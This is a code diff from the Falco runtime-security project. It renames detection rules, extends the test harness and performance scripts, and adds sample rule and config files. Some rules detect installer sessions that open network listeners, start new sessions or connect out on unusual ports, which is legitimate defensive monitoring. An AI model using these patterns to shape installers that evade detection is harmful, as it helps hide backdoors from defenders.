+- rule: Installer bash starts network server
   desc: an attempt by a program in a pipe installer session to start listening for network connections
   condition: evt.type=listen and proc.sname=fbash
   output: "Unexpected listen call by a process in a fbash session (command=%proc.cmdline)"
   priority: WARNING
 
-- rule: installer_bash_starts_session
+- rule: Installer bash starts session
   desc: an attempt by a program in a pipe installer session to start a new session
   condition: evt.type=setsid and proc.sname=fbash
   output: "Unexpected setsid call by a process in fbash session (command=%proc.cmdline)"
   priority: WARNING
 
-- rule: installer_bash_non_https_connection
+- rule: Installer bash non https connection
   desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port
   condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53)
   output: "Outbound connection on non-http(s) port by a process in a fbash session (command=%proc.cmdline connection=%fd.name)"
@@ -347,7 +383,7 @@
 # Notice when processes try to run chkconfig/systemctl.... to install a service.
 # Note: this is not a WARNING, as you'd expect some service management
 # as a part of doing the installation.
-- rule: installer_bash_manages_service
+- rule: Installer bash manages service
   desc: an attempt by a program in a pipe installer session to manage a system service (systemd/chkconfig)
   condition: evt.type=execve and proc.name in (chkconfig, systemctl) and proc.sname=fbash
   output: "Service management program run by process in a fbash session (command=%proc.cmdline)"
@@ -356,7 +392,7 @@
 # Notice when processes try to run any package management binary within a fbash session.
 # Note: this is not a WARNING, as you'd expect some package management
 # as a part of doing the installation
-- rule: installer_bash_runs_pkgmgmt
+- rule: Installer bash runs pkgmgmt program
   desc: an attempt by a program in a pipe installer session to run a package management binary
   condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash
   output: "Package management program run by process in a fbash session (command=%proc.cmdline)"
@@ -381,13 +417,13 @@
 - macro: elasticsearch_port
   condition: elasticsearch_cluster_port or elasticsearch_api_port
 
-# - rule: elasticsearch_unexpected_network_inbound
+# - rule: Elasticsearch unexpected network inbound traffic
 #   desc: inbound network traffic to elasticsearch on a port other than the standard ports
 #   condition: user.name = elasticsearch and inbound and not elasticsearch_port
 #   output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: elasticsearch_unexpected_network_outbound
+# - rule: Elasticsearch unexpected network outbound traffic
 #   desc: outbound network traffic from elasticsearch on a port other than the standard ports
 #   condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port
 #   output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)"
@@ -402,13 +438,13 @@
 - macro: activemq_port
   condition: activemq_web_port or activemq_cluster_port
 
-# - rule: activemq_unexpected_network_inbound
+# - rule: Activemq unexpected network inbound traffic
 #   desc: inbound network traffic to activemq on a port other than the standard ports
 #   condition: user.name = activemq and inbound and not activemq_port
 #   output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: activemq_unexpected_network_outbound
+# - rule: Activemq unexpected network outbound traffic
 #   desc: outbound network traffic from activemq on a port other than the standard ports
 #   condition: user.name = activemq and outbound and not activemq_cluster_port
 #   output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)"
@@ -430,13 +466,13 @@
 - macro: cassandra_port
   condition: cassandra_thrift_client_port or cassandra_cql_port or cassandra_cluster_port or cassandra_ssl_cluster_port or cassandra_jmx_port
 
-# - rule: cassandra_unexpected_network_inbound
+# - rule: Cassandra unexpected network inbound traffic
 #   desc: inbound network traffic to cassandra on a port other than the standard ports
 #   condition: user.name = cassandra and inbound and not cassandra_port
 #   output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: cassandra_unexpected_network_outbound
+# - rule: Cassandra unexpected network outbound traffic
 #   desc: outbound network traffic from cassandra on a port other than the standard ports
 #   condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port)
 #   output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)"
@@ -457,13 +493,13 @@
 - macro: fluentd_forward_port
   condition: fd.sport=24224
 
-# - rule: fluentd_unexpected_network_inbound
+# - rule: Fluentd unexpected network inbound traffic
 #   desc: inbound network traffic to fluentd on a port other than the standard ports
 #   condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port)
 #   output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: tdagent_unexpected_network_outbound
+# - rule: Tdagent unexpected network outbound traffic
 #   desc: outbound network traffic from fluentd on a port other than the standard ports
 #   condition: user.name = td-agent and outbound and not fluentd_forward_port
 #   output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)"
@@ -471,7 +507,7 @@
 
 # Gearman ports
 # http://gearman.org/protocol/
-# - rule: gearman_unexpected_network_outbound
+# - rule: Gearman unexpected network outbound traffic
 #   desc: outbound network traffic from gearman on a port other than the standard ports
 #   condition: user.name = gearman and outbound and outbound and not fd.sport = 4730
 #   output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)"
@@ -482,20 +518,20 @@
   condition: fd.sport = 2181
 
 # Kafka ports
-# - rule: kafka_unexpected_network_inbound
+# - rule: Kafka unexpected network inbound traffic
 #   desc: inbound network traffic to kafka on a port other than the standard ports
 #   condition: user.name = kafka and inbound and fd.sport != 9092
 #   output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
 # Memcached ports
-# - rule: memcached_unexpected_network_inbound
+# - rule: Memcached unexpected network inbound traffic
 #   desc: inbound network traffic to memcached on a port other than the standard ports
 #   condition: user.name = memcached and inbound and fd.sport != 11211
 #   output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: memcached_network_outbound
+# - rule: Memcached unexpected network outbound traffic
 #   desc: any outbound network traffic from memcached. memcached never initiates outbound connections.
 #   condition: user.name = memcached and outbound
 #   output: "Unexpected Memcached outbound connection (connection=%fd.name)"
@@ -512,20 +548,20 @@
 - macro: mongodb_webserver_port
   condition: fd.sport = 28017
 
-# - rule: mongodb_unexpected_network_inbound
+# - rule: Mongodb unexpected network inbound traffic
 #   desc: inbound network traffic to mongodb on a port other than the standard ports
 #   condition: user.name = mongodb and inbound and not (mongodb_server_port or mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
 #   output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
 # MySQL ports
-# - rule: mysql_unexpected_network_inbound
+# - rule: Mysql unexpected network inbound traffic
 #   desc: inbound network traffic to mysql on a port other than the standard ports
 #   condition: user.name = mysql and inbound and fd.sport != 3306
 #   output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: http_server_unexpected_network_inbound
+# - rule: HTTP server unexpected network inbound traffic
 #   desc: inbound network traffic to a http server program on a port other than the standard ports
 #   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
 #   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"

scripts/build-lpeg.sh

@@ -1,17 +1,29 @@
-#!/bin/sh
+#!/bin/bash
 
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o lpcap.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o lpcode.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o lpprint.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o lptree.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o lpvm.o
+set -ex
+
+PREFIX=$1
+
+if [ -z $PREFIX ]; then
+    PREFIX=.
+fi
+
+mkdir -p $PREFIX
+
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o $PREFIX/lpcap.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o $PREFIX/lpcode.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o $PREFIX/lpprint.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o $PREFIX/lptree.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o $PREFIX/lpvm.o
 
 
 # For building lpeg.so, which we don't need now that we're statically linking lpeg.a into falco
 #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 
+pushd $PREFIX
 /usr/bin/ar cr lpeg.a lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 /usr/bin/ranlib lpeg.a
+popd
 
 chmod ug+w re.lua

test/confs/file_output.yaml

@@ -0,0 +1,27 @@
+# File containing Falco rules, loaded at startup.
+rules_file: /etc/falco_rules.yaml
+
+# Whether to output events in json or text
+json_output: false
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: false
+log_syslog: false
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+
+syslog_output:
+  enabled: false
+
+file_output:
+  enabled: true
+  filename: /tmp/falco_outputs/file_output.txt
+
+stdout_output:
+  enabled: true
+
+program_output:
+  enabled: false
+  program: mail -s "Falco Notification" someone@example.com

test/confs/program_output.yaml

@@ -0,0 +1,27 @@
+# File containing Falco rules, loaded at startup.
+rules_file: /etc/falco_rules.yaml
+
+# Whether to output events in json or text
+json_output: false
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: false
+log_syslog: false
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+
+syslog_output:
+  enabled: false
+
+file_output:
+  enabled: false
+  filename: ./output.txt
+
+stdout_output:
+  enabled: true
+
+program_output:
+  enabled: true
+  program: cat > /tmp/falco_outputs/program_output.txt

test/cpu_monitor.sh

@@ -6,4 +6,4 @@ VARIANT=$3
 RESULTS_FILE=$4
 CPU_INTERVAL=$5
 
-top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent|test_mm)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE

test/falco_test.py

@@ -17,6 +17,8 @@ class FalcoTest(Test):
         """
         self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))
 
+        self.stderr_contains = self.params.get('stderr_contains', '*', default='')
+        self.exit_status = self.params.get('exit_status', '*', default=0)
         self.should_detect = self.params.get('detect', '*', default=False)
         self.trace_file = self.params.get('trace_file', '*')
 
@@ -26,8 +28,32 @@ class FalcoTest(Test):
         self.json_output = self.params.get('json_output', '*', default=False)
         self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
 
-        if not os.path.isabs(self.rules_file):
-            self.rules_file = os.path.join(self.basedir, self.rules_file)
+        if not isinstance(self.rules_file, list):
+            self.rules_file = [self.rules_file]
+
+        self.rules_args = ""
+
+        for file in self.rules_file:
+            if not os.path.isabs(file):
+                file = os.path.join(self.basedir, file)
+            self.rules_args = self.rules_args + "-r " + file + " "
+
+        self.conf_file = self.params.get('conf_file', '*', default=os.path.join(self.basedir, '../falco.yaml'))
+        if not os.path.isabs(self.conf_file):
+            self.conf_file = os.path.join(self.basedir, self.conf_file)
+
+        self.disabled_rules = self.params.get('disabled_rules', '*', default='')
+
+        if self.disabled_rules == '':
+            self.disabled_rules = []
+
+        if not isinstance(self.disabled_rules, list):
+            self.disabled_rules = [self.disabled_rules]
+
+        self.disabled_args = ""
+
+        for rule in self.disabled_rules:
+            self.disabled_args = self.disabled_args + "-D " + rule + " "
 
         self.rules_warning = self.params.get('rules_warning', '*', default=False)
         if self.rules_warning == False:
@@ -49,6 +75,9 @@ class FalcoTest(Test):
         if self.should_detect:
             self.detect_level = self.params.get('detect_level', '*')
 
+            if not isinstance(self.detect_level, list):
+                self.detect_level = [self.detect_level]
+
         # Doing this in 2 steps instead of simply using
         # module_is_loaded to avoid logging lsmod output to the log.
         lsmod_output = process.system_output("lsmod", verbose=False)
@@ -59,6 +88,20 @@ class FalcoTest(Test):
 
         self.str_variant = self.trace_file
 
+        self.outputs = self.params.get('outputs', '*', default='')
+
+        if self.outputs == '':
+            self.outputs = {}
+        else:
+            outputs = []
+            for item in self.outputs:
+                for item2 in item:
+                    output = {}
+                    output['file'] = item2[0]
+                    output['line'] = item2[1]
+                    outputs.append(output)
+            self.outputs = outputs
+
     def check_rules_warnings(self, res):
 
         found_warning = sets.Set()
@@ -105,16 +148,34 @@ class FalcoTest(Test):
             if events_detected == 0:
                 self.fail("Detected {} events when should have detected > 0".format(events_detected))
 
-            level_line = '{}: (\d+)'.format(self.detect_level)
-            match = re.search(level_line, res.stdout)
+            for level in self.detect_level:
+                level_line = '(?i){}: (\d+)'.format(level)
+                match = re.search(level_line, res.stdout)
 
-            if match is None:
-                self.fail("Could not find a line '{}: <count>' in falco output".format(self.detect_level))
+                if match is None:
+                    self.fail("Could not find a line '{}: <count>' in falco output".format(level))
 
-            events_detected = int(match.group(1))
+                    events_detected = int(match.group(1))
 
-            if not events_detected > 0:
-                self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, self.detect_level))
+                    if not events_detected > 0:
+                        self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, level))
+
+    def check_outputs(self):
+        for output in self.outputs:
+            # Open the provided file and match each line against the
+            # regex in line.
+            file = open(output['file'], 'r')
+            found = False
+            for line in file:
+                match = re.search(output['line'], line)
+
+                if match is not None:
+                    found = True
+
+            if found == False:
+                self.fail("Could not find a line '{}' in file '{}'".format(output['line'], output['file']))
+
+        return True
 
     def check_json_output(self, res):
         if self.json_output:
@@ -131,22 +192,32 @@ class FalcoTest(Test):
         self.log.info("Trace file %s", self.trace_file)
 
         # Run the provided trace file though falco
-        cmd = '{}/userspace/falco/falco -r {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format(
-            self.falcodir, self.rules_file, self.falcodir, self.trace_file, self.json_output)
+        cmd = '{}/userspace/falco/falco {} {} -c {} -e {} -o json_output={} -v'.format(
+            self.falcodir, self.rules_args, self.disabled_args, self.conf_file, self.trace_file, self.json_output)
 
         self.falco_proc = process.SubProcess(cmd)
 
         res = self.falco_proc.run(timeout=180, sig=9)
 
+        if self.stderr_contains != '':
+            match = re.search(self.stderr_contains, res.stderr)
+            if match is None:
+                self.fail("Stderr of falco process did not contain content matching {}".format(self.stderr_contains))
+
+        if res.exit_status != self.exit_status:
+            self.error("Falco command \"{}\" exited with unexpected return value {} (!= {})".format(
+                cmd, res.exit_status, self.exit_status))
+
+        # No need to check any outputs if the falco process exited abnormally.
         if res.exit_status != 0:
-            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
-                cmd, res.exit_status))
+            return
 
         self.check_rules_warnings(res)
         if len(self.rules_events) > 0:
             self.check_rules_events(res)
         self.check_detections(res)
         self.check_json_output(res)
+        self.check_outputs()
         pass
 
 

test/falco_tests.yaml.in

@@ -1,13 +1,13 @@
 trace_files: !mux
   builtin_rules_no_warnings:
     detect: False
-    trace_file: empty.scap
+    trace_file: trace_files/empty.scap
     rules_warning: False
 
   test_warnings:
     detect: False
-    trace_file: empty.scap
-    rules_file: falco_rules_warnings.yaml
+    trace_file: trace_files/empty.scap
+    rules_file: rules/falco_rules_warnings.yaml
     rules_warning:
       - no_evttype
       - evttype_not_equals
@@ -60,3 +60,88 @@ trace_files: !mux
       - repeated_evttypes_with_in: [open]
       - repeated_evttypes_with_separate_in: [open]
       - repeated_evttypes_with_mix: [open]
+
+  rule_names_with_spaces:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_names_with_spaces.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules_first_empty:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/empty_rules.yaml
+      - rules/single_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules_last_empty:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/empty_rules.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules:
+    detect: True
+    detect_level:
+      - WARNING
+      - INFO
+      - ERROR
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/double_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  invalid_rule_output:
+    exit_status: 1
+    stderr_contains: "Runtime error: Error loading rules:.* Invalid output format 'An open was seen %not_a_real_field': 'invalid formatting token not_a_real_field'. Exiting."
+    rules_file:
+      - rules/invalid_rule_output.yaml
+    trace_file: trace_files/cat_write.scap
+
+  disabled_rules:
+    detect: False
+    rules_file:
+      - rules/empty_rules.yaml
+      - rules/single_rule.yaml
+    disabled_rules:
+      - open_from_cat
+    trace_file: trace_files/cat_write.scap
+
+  disabled_rules_using_regex:
+    detect: False
+    rules_file:
+      - rules/empty_rules.yaml
+      - rules/single_rule.yaml
+    disabled_rules:
+      - "open.*"
+    trace_file: trace_files/cat_write.scap
+
+  disabled_rules_using_enabled_flag:
+    detect: False
+    rules_file:
+      - rules/single_rule_enabled_flag.yaml
+    trace_file: trace_files/cat_write.scap
+
+  file_output:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/single_rule.yaml
+    conf_file: confs/file_output.yaml
+    trace_file: trace_files/cat_write.scap
+    outputs:
+      - /tmp/falco_outputs/file_output.txt: Warning An open was seen
+
+  program_output:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/single_rule.yaml
+    conf_file: confs/program_output.yaml
+    trace_file: trace_files/cat_write.scap
+    outputs:
+      - /tmp/falco_outputs/program_output.txt: Warning An open was seen

test/plot-live.r

@@ -13,23 +13,35 @@ if (substr(script.basename, 1, 1) != '/') {
 
 results = paste(script.basename, "results.json", sep='/')
 output = "./output.png"
+metric = "cpu"
 
 GetoptLong(
     "results=s", "Path to results file",
     "benchmark=s", "Benchmark from results file to graph",
     "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
-    "output=s", "Output graph file"
+    "output=s", "Output graph file",
+    "metric=s", "Metric to graph. Can be one of (cpu|drops)"
 )
 
+if (metric == "cpu") {
+    data_metric="cpu_usage"
+    yaxis_label="CPU Usage (%)"
+    title="Falco/Sysdig/Multimatch CPU Usage: %s"
+} else if (metric == "drops") {
+    data_metric="drop_pct"
+    yaxis_label="Event Drops (%)"
+    title="Falco/Sysdig/Multimatch Event Drops: %s"
+}
+
 res <- fromJSON(results, flatten=TRUE)
 
 res2 = res[res$benchmark == benchmark & res$variant %in% variant,]
 
-plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) +
+plot <- ggplot(data=res2, aes(x=sample, y=get(data_metric), group=variant, colour=variant)) +
     geom_line() +
-    ylab("CPU Usage (%)") +
+    ylab(yaxis_label) +
     xlab("Time") +
-    ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark))
+    ggtitle(sprintf(title, benchmark))
     theme(legend.position=c(.2, .88));
 
 print(paste("Writing graph to", output, sep=" "))

test/rules/double_rule.yaml

@@ -0,0 +1,13 @@
+# This ruleset depends on the is_cat macro defined in single_rule.yaml
+
+- rule: exec_from_cat
+  desc: A process named cat does execve
+  condition: evt.type=execve and is_cat
+  output: "An exec was seen (command=%proc.cmdline)"
+  priority: ERROR
+
+- rule: access_from_cat
+  desc: A process named cat does an access
+  condition: evt.type=access and is_cat
+  output: "An access was seen (command=%proc.cmdline)"
+  priority: INFO

test/rules/invalid_rule_output.yaml

@@ -0,0 +1,5 @@
+- rule: rule_with_invalid_output
+  desc: A rule with an invalid output field
+  condition: evt.type=open
+  output: "An open was seen %not_a_real_field"
+  priority: WARNING

test/rules/rule_names_with_spaces.yaml

@@ -0,0 +1,8 @@
+- macro: is_cat
+  condition: proc.name=cat
+
+- rule: Open From Cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/single_rule.yaml

@@ -0,0 +1,8 @@
+- macro: is_cat
+  condition: proc.name=cat
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/single_rule_enabled_flag.yaml

@@ -0,0 +1,9 @@
+- macro: is_cat
+  condition: proc.name=cat
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING
+  enabled: false

test/run_performance_tests.sh

@@ -28,7 +28,11 @@ function time_cmd() {
 function run_falco_on() {
     file="$1"
 
-    cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file"
+    if [ -z $RULES_FILE ]; then
+	RULES_FILE=$SOURCE/rules/falco_rules.yaml
+    fi
+
+    cmd="$ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -r $SOURCE/rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file -A"
 
     time_cmd "$cmd" "$file"
 }
@@ -131,15 +135,26 @@ function start_monitor_cpu_usage() {
 
 function start_subject_prog() {
 
-    echo "   starting falco/sysdig/agent program"
     # Do a blocking sudo command now just to ensure we have a password
     sudo bash -c ""
 
-    if [[ $ROOT == *"falco"* ]]; then
-	sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 &
+    if [[ $ROOT == *"multimatch"* ]]; then
+	echo "   starting test_mm..."
+	if [ -z $RULES_FILE ]; then
+	    RULES_FILE=$SOURCE/../output/rules.yaml
+	fi
+	sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/test_mm -S $SOURCE/search_order.yaml -s $STATS_FILE -r $RULES_FILE > ./prog-output.txt 2>&1 &
+    elif [[ $ROOT == *"falco"* ]]; then
+	echo "   starting falco..."
+	if [ -z $RULES_FILE ]; then
+	    RULES_FILE=$SOURCE/rules/falco_rules.yaml
+	fi
+	sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -s $STATS_FILE -r $RULES_FILE --option=stdout_output.enabled=false > ./prog-output.txt -A 2>&1 &
     elif [[ $ROOT == *"sysdig"* ]]; then
+	echo "   starting sysdig..."
 	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
     else
+	echo "   starting agent..."
 	write_agent_config
 	pushd $ROOT/userspace/dragent
 	sudo ./dragent > ./prog-output.txt 2>&1 &
@@ -180,8 +195,8 @@ function run_juttle_examples() {
 
 function run_kubernetes_demo() {
     pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
-    bash run-local.sh
-    bash init.sh
+    sudo bash run-local.sh
+    sudo bash init.sh
     sleep 600
     docker stop $(docker ps -qa)
     docker rm -fv $(docker ps -qa)
@@ -306,8 +321,11 @@ usage() {
     echo "   -h/--help: show this help"
     echo "   -v/--variant: a variant name to attach to this set of test results"
     echo "   -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
+    echo "   -s/--source: root directory containing falco/sysdig source code"
     echo "   -R/--results: append test results to this file"
+    echo "   -S/--stats: append capture statistics to this file (only works for falco/test_mm)"
     echo "   -o/--output: append program output to this file"
+    echo "   -U/--rules: path to rules file (only applicable for falco/test_mm)"
     echo "   -t/--test: test to run. Argument has the following format:"
     echo "       trace:<trace>: read the specified trace file."
     echo "            trace:all means run all traces"
@@ -325,7 +343,7 @@ usage() {
     echo "   -F/--falco-agent: When running an agent, whether or not to enable falco"
 }
 
-OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
+OPTS=`getopt -o hv:r:s:R:S:o:U:t:T: --long help,variant:,root:,source:,results:,stats:,output:,rules:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
 
 if [ $? != 0 ]; then
     echo "Exiting" >&2
@@ -336,9 +354,12 @@ eval set -- "$OPTS"
 
 VARIANT="falco"
 ROOT=`dirname $0`/../build
+SOURCE=$ROOT
 SCRIPTDIR=`dirname $0`
 RESULTS_FILE=`dirname $0`/results.json
+STATS_FILE=`dirname $0`/capture_stats.json
 OUTPUT_FILE=`dirname $0`/program-output.txt
+RULES_FILE=
 TEST=trace:all
 TRACEDIR=/tmp/falco-perf-traces.$USER
 CPU_INTERVAL=10
@@ -350,8 +371,11 @@ while true; do
 	-h | --help ) usage; exit 1;;
 	-v | --variant ) VARIANT="$2"; shift 2;;
 	-r | --root ) ROOT="$2"; shift 2;;
+	-s | --source ) SOURCE="$2"; shift 2;;
 	-R | --results ) RESULTS_FILE="$2"; shift 2;;
+	-S | --stats ) STATS_FILE="$2"; shift 2;;
 	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
+	-U | --rules ) RULES_FILE="$2"; shift 2;;
 	-t | --test ) TEST="$2"; shift 2;;
 	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
 	-A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
@@ -372,12 +396,23 @@ fi
 
 ROOT=`realpath $ROOT`
 
+if [ -z $SOURCE ]; then
+    echo "A source directory containing falco/sysdig source code. Not continuing."
+    exit 1
+fi
+
+SOURCE=`realpath $SOURCE`
 
 if [ -z $RESULTS_FILE ]; then
     echo "An output file for test results must be provided. Not continuing."
     exit 1
 fi
 
+if [ -z $STATS_FILE ]; then
+    echo "An output file for capture statistics must be provided. Not continuing."
+    exit 1
+fi
+
 if [ -z $OUTPUT_FILE ]; then
     echo "An file for program output must be provided. Not continuing."
     exit 1

test/run_regression_tests.sh

@@ -38,18 +38,20 @@ EOF
 function prepare_multiplex_file() {
     cp $SCRIPTDIR/falco_tests.yaml.in $MULT_FILE
 
-    prepare_multiplex_fileset traces-positive True Warning False
-    prepare_multiplex_fileset traces-negative False Warning True
-    prepare_multiplex_fileset traces-info True Informational False
+    prepare_multiplex_fileset traces-positive True WARNING False
+    prepare_multiplex_fileset traces-negative False WARNING True
+    prepare_multiplex_fileset traces-info True INFO False
 
-    prepare_multiplex_fileset traces-positive True Warning True
-    prepare_multiplex_fileset traces-info True Informational True
+    prepare_multiplex_fileset traces-positive True WARNING True
+    prepare_multiplex_fileset traces-info True INFO True
 
     echo "Contents of $MULT_FILE:"
     cat $MULT_FILE
 }
 
 function run_tests() {
+    rm -rf /tmp/falco_outputs
+    mkdir /tmp/falco_outputs
     CMD="avocado run --multiplex $MULT_FILE --job-results-dir $SCRIPTDIR/job-results -- $SCRIPTDIR/falco_test.py"
     echo "Running: $CMD"
     $CMD

userspace/engine/CMakeLists.txt

@@ -0,0 +1,31 @@
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp")
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
+include_directories("${PROJECT_BINARY_DIR}/userspace/engine")
+include_directories("${LUAJIT_INCLUDE}")
+
+add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp token_bucket.cpp formats.cpp)
+
+target_include_directories(falco_engine PUBLIC
+  "${LUAJIT_INCLUDE}")
+
+target_link_libraries(falco_engine
+  "${FALCO_SINSP_LIBRARY}"
+  "${LPEG_LIB}"
+  "${LYAML_LIB}"
+  "${LIBYAML_LIB}")
+
+configure_file(config_falco_engine.h.in config_falco_engine.h)
+
+if(DEFINED FALCO_COMPONENT)
+install(DIRECTORY lua
+	DESTINATION "${FALCO_SHARE_DIR}"
+	COMPONENT "${FALCO_COMPONENT}"
+	FILES_MATCHING PATTERN *.lua)
+else()
+install(DIRECTORY lua
+	DESTINATION "${FALCO_SHARE_DIR}"
+	FILES_MATCHING PATTERN *.lua)
+endif()
+
+add_subdirectory("${PROJECT_SOURCE_DIR}/../falco/rules" "${PROJECT_BINARY_DIR}/rules")

userspace/engine/config_falco_engine.h.in

@@ -0,0 +1,22 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#define FALCO_ENGINE_LUA_DIR "${FALCO_SHARE_DIR}/lua/"
+#define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/"

userspace/engine/falco_common.cpp

@@ -0,0 +1,108 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
